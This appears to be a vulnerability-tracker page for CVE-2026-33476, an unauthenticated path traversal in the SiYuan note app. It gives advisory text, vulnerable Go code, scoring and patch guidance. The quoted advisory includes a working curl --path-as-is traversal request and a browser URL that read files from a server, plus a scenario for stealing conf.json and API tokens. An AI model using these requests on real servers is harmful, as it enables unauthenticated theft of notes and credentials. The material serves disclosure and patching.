Skip to main content

Windows CVE-2026-33476

HIGH
Path Traversal (CWE-22)
2026-03-20 https://github.com/siyuan-note/siyuan GHSA-hhgj-gg9h-rjp7
7.5
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send HTTP request to /appearance endpoint
  2. Exploit
    Craft path traversal payload with ../ sequences
  3. Execution
    Bypass path sanitization logic
  4. Impact
    Read arbitrary files from server filesystem

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions — remote unauthenticated exploitation against default Siyuan installations. Attacker sends crafted HTTP GET requests to the /appearance/*filepath endpoint with path traversal sequences (../) to read arbitrary files accessible to the server process.

Impact

This vulnerability presents genuine real-world risk despite no current KEV listing. The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N indicates network-exploitable attacks with low complexity requiring no privileges or user interaction, making it highly automatable. The public availability of a detailed proof-of-concept with both curl and browser-based exploitation methods significantly lowers the barrier to exploitation. The vulnerability enables unauthenticated access to sensitive workspace data including configuration files (conf.json), user notes, and potentially API tokens, representing high confidentiality impact. While the CVSS score of 7.5 is appropriate given the C:H/I:N/A:N impact profile, the authentication bypass combined with Docker deployment popularity and public PoC availability elevates practical risk. The SSVC framework would likely classify this as requiring expedited patching due to its automatable nature, proof-of-concept availability, and potential for credential harvesting that could enable further attacks. Organizations running Siyuan in network-accessible environments face immediate risk from opportunistic scanning and exploitation.

Exploit ScenarioDerived

An unauthenticated remote attacker identifies an internet-exposed Siyuan instance on port 6806 through automated scanning. The attacker crafts a GET request to http://target:6806/appearance/../../data/conf.json using curl with the --path-as-is flag to preserve traversal sequences, successfully retrieving the workspace configuration file without authentication. The exposed configuration reveals API tokens, workspace encryption keys, and other sensitive data that the attacker leverages for further compromise of the user's knowledge base or related systems. The attack requires no special privileges, no user interaction, and is trivially automatable given the public proof-of-concept code.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.9% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 20, 2026

An unauthenticated directory traversal vulnerability exists in Siyuan kernel's /appearance/ endpoint, allowing remote attackers to read arbitrary files accessible to the server process without authentication. The vulnerability affects the Go-based Siyuan note-taking application (github.com/siyuan-note/siyuan/kernel) and has been assigned a CVSS score of 7.5 (High). A working proof-of-concept exploit is publicly available demonstrating successful file retrieval via crafted URLs containing path traversal sequences, and a patch has been released by the vendor.

RemediationAI

Upgrade Siyuan to the patched version incorporating commit 009bb598b3beccc972aa5f1ed88b3b224326bf2a or later as documented in the vendor security advisory at https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hhgj-gg9h-rjp7. For Docker deployments, pull the latest b3log/siyuan image that includes the fix and recreate containers. Until patching is complete, implement network-level access controls to restrict the /appearance/ endpoint to trusted IP ranges only, deploy Siyuan behind a reverse proxy with path normalization that blocks traversal sequences, or disable network access entirely and operate in localhost-only mode. Review server logs for suspicious requests containing ../ patterns in /appearance/ paths to identify potential exploitation attempts. After patching, rotate any API tokens, access codes, or credentials that may have been exposed through workspace configuration files, and audit workspace data for unauthorized access.

Affected Packages

go github.com/siyuan-note/siyuan/kernel no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Siyuan is a Go-based personal knowledge management and note-taking application distributed as a Docker container and standalone binary. The vulnerability resides in kernel/server/serve.go where the Gin web framework handler for /appearance/*filepath endpoint constructs filesystem paths using filepath.Join() with unsanitized user input from URL path segments. The root cause maps to CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) where the code uses strings.TrimPrefix() to extract the path component without normalizing or validating traversal sequences like ../ before passing it to c.File() for direct file serving. The authentication bypass occurs because session.go explicitly exempts /appearance/ routes from authentication middleware checks, treating them as public static resources when they should be protected. The affected package identifier is pkg:go/github.com_siyuan-note_siyuan_kernel, indicating this is a vulnerability in the core kernel module of the application.

Know when Windows gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
SUSE HIGH

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

2
Patch released
Mar 20, 2026 - 20:46 nvd
Patch available
CVE Published
Mar 20, 2026 - 20:43 nvd
HIGH 7.5

DescriptionGitHub Advisory

Summary

The Siyuan kernel exposes an unauthenticated file-serving endpoint under /appearance/*filepath. Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process.

Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials.

Details

Vulnerable Code Location

File: kernel/server/serve.go

sh
siyuan.GET("/appearance/*filepath", func(c *gin.Context) {
    filePath := filepath.Join(
        appearancePath,
        strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
    )
    ...
    c.File(filePath)
})

Technical Root Cause

The handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments.

Key issues:

1. Unsanitized User Input

The path component extracted from the request is not validated or normalized to prevent traversal.

sh
strings.TrimPrefix(c.Request.URL.Path, "/appearance/")

This preserves sequences such as:

sh
../
..\ (Windows)

2. Unsafe Path Joining

_filepath.Join()_ does not enforce directory confinement.

This escapes the intended directory.

3. Direct File Serving

The resolved path is served without verification:

sh
c.File(filePath)

Authentication Bypass (Unauthenticated Access)

Authentication middleware explicitly skips /appearance/ requests.

File: session.go

sh
if strings.HasPrefix(c.Request.RequestURI, "/appearance/") ||
    strings.HasPrefix(c.Request.RequestURI, "/stage/build/export/") ||
    strings.HasPrefix(c.Request.RequestURI, "/stage/protyle/") {
    c.Next()
    return
}

This allows attackers to access the vulnerable endpoint without a session or token.

Exploitation Scenario

A remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process.

Example request:

GET /appearance/../../data/conf.json HTTP/1.1
Host: target

Because authentication is bypassed, the attack requires no credentials.

PoC

Step 1 - Create marker file

mkdir -p ./workspace/data
echo POC_EXPLOITED > ./workspace/data/poc_exploit.txt

Step 2 - Run SiYuan container

docker run -d \
  -p 6806:6806 \
  -e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan \
  --workspace=/siyuan/workspace

Step 3 - Confirm service works

Open in browser:

sh
http://127.0.0.1:6806

Exploit PoC

Method A - using CURL command

Use --path-as-is so curl does NOT normalize ../.

sh
curl -v --path-as-is \
  "http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt"

Output

sh
HTTP/1.1 200 OK
POC_EXPLOITED

Method B - Using Browser

sh
http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt

If method B is not working, use method A, which is CURL command to do the exploit

Impact

An unauthenticated attacker can read arbitrary files accessible to the server process, including:

  • Workspace configuration files
  • User notes and stored data
  • API tokens and secrets
  • Local system files (depending on permissions)

This may lead to:

  • Sensitive information disclosure
  • Credential leakage
  • Further compromise through exposed secrets

Executive ViewAI

Why It Matters

Siyuan note-taking application users face an unauthenticated file exposure risk that could compromise sensitive organizational data stored within the application. An attacker can remotely read arbitrary files accessible to the server without requiring credentials, potentially exposing intellectual property, credentials, and confidential information.

Business Impact: High
Compensating Controls

Apply vendor patch. If immediate patching is not feasible: (1) Restrict network access to the /appearance/ endpoint through firewall rules or WAF to authorized IP ranges only; (2) Deploy reverse proxy authentication requiring valid credentials before backend access; (3) Disable the /appearance/ endpoint if not operationally required; (4) Implement file system access controls to limit server process permissions to necessary directories only.

Threat Intelligence Overview

EPSS Score
0.9%
Top 25% exploitable
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment POC (1) Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.9%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

59
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Affected Products (CPE)GitHub Advisory

pkg:go/github.com_siyuan-note_siyuan_kernel
CVE-2025-52691 CRITICAL POC
10.0 Dec 29

Unauthenticated remote code execution in SmarterTools SmarterMail lets an attacker upload arbitrary files to any locatio

CVE-2019-0803 HIGH POC
7.8 Apr 09

Windows Win32k fails to properly handle objects in memory, allowing local privilege escalation exploited in the wild in

CVE-2020-1472 MEDIUM POC
5.5 Aug 17

A privilege escalation vulnerability (CVSS 5.5). Risk factors: actively exploited (KEV-listed), EPSS 94% exploitation pr

CVE-2025-33053 HIGH POC
8.8 Jun 10

Windows Internet Shortcut Files (.url) contain an external control vulnerability (CVE-2025-33053, CVSS 8.8) that enables

CVE-2025-33073 HIGH POC
8.8 Jun 10

Windows SMB contains an improper access control vulnerability (CVE-2025-33073, CVSS 8.8) enabling authenticated attacker

CVE-2025-13315 CRITICAL POC
9.3 Nov 19

Twonky Server 8.5.2 on Linux and Windows allows unauthenticated access to the admin log file through a web service API b

CVE-2013-10047 CRITICAL POC
9.3 Aug 01

An unrestricted file upload vulnerability exists in MiniWeb HTTP Server <= Build 300 that allows unauthenticated remote

CVE-2012-10030 CRITICAL POC
9.3 Aug 05

FreeFloat FTP Server contains multiple critical design flaws that allow unauthenticated remote attackers to upload arbit

CVE-2025-34101 CRITICAL POC
9.3 Jul 10

Serviio Media Server versions 1.4 through 1.8 on Windows contain an unauthenticated command injection in the /rest/actio

CVE-2025-13316 HIGH POC
8.2 Nov 19

Twonky Server 8.5.2 uses hard-coded cryptographic keys for encrypting the administrator password. Combined with the cred

CVE-2025-34095 CRITICAL POC
9.3 Jul 10

Mako Server versions 2.5 and 2.6 contain an unauthenticated OS command injection via the tutorial interface at examples/

CVE-2025-11953 CRITICAL POC
9.8 Nov 03

React Native Metro Development Server binds to external interfaces by default and contains an OS command injection endpo

Vendor StatusVendor

SUSE

Severity: High
Product Status
openSUSE Leap 15.6 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP5 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP6 Fixed
openSUSE Leap 15.5 Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy